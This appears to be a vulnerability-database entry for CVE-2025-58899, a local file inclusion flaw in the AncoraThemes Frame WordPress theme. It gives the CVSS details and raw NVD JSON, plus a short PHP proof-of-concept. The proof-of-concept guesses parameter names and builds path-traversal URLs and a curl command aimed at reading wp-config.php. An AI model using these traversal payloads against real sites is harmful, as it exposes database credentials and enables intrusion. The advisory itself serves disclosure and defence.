Security Vulnerability Report
中文
CVE-2025-58899 CVSS 8.1 HIGH

CVE-2025-58899

Published: 2025-12-18 08:15:59
Last Modified: 2026-01-20 15:17:10

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Frame frame allows PHP Local File Inclusion.This issue affects Frame: from n/a through <= 2.4.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ancorathemes:frame:*:*:*:*:*:wordpress:*:* - VULNERABLE
AncoraThemes Frame <= 2.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58899 PoC - AncoraThemes Frame LFI * Affected: Frame Theme <= 2.4.0 * CVSS: 8.1 (High) * Author: [email protected] */ // Target URL - Replace with actual vulnerable site $target = 'http://target-site.com/'; // Vulnerable parameter - Common patterns in Frame theme $vulnerable_params = [ 'template', 'page', 'file', 'include', 'action' ]; // Payload to read wp-config.php $payload = '../../../../wp-config.php'; // Display PoC usage if ($argv[1] ?? false) { echo "[*] CVE-2025-58899 PoC - Frame Theme LFI\n"; echo "[*] Target: {$target}\n"; echo "[*] Payload: {$payload}\n\n"; // Generate attack URLs foreach ($vulnerable_params as $param) { $url = $target . "?{$param}={$payload}"; echo "[+] URL: {$url}\n"; } echo "\n[*] To extract data, use:\n"; echo "curl -s '{$target}?{$vulnerable_params[0]}={$payload}'\n"; } else { echo "Usage: php poc.php run\n"; } ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58899", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:59.210", "lastModified": "2026-01-20T15:17:09.717", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Frame frame allows PHP Local File Inclusion.This issue affects Frame: from n/a through <= 2.4.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ancorathemes:frame:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "2.4.0", "matchCriteriaId": "A3BF88AE-AEC1-420E-BB0D-29C6B9562665"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/frame/vulnerability/wordpress-frame-theme-2-4-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}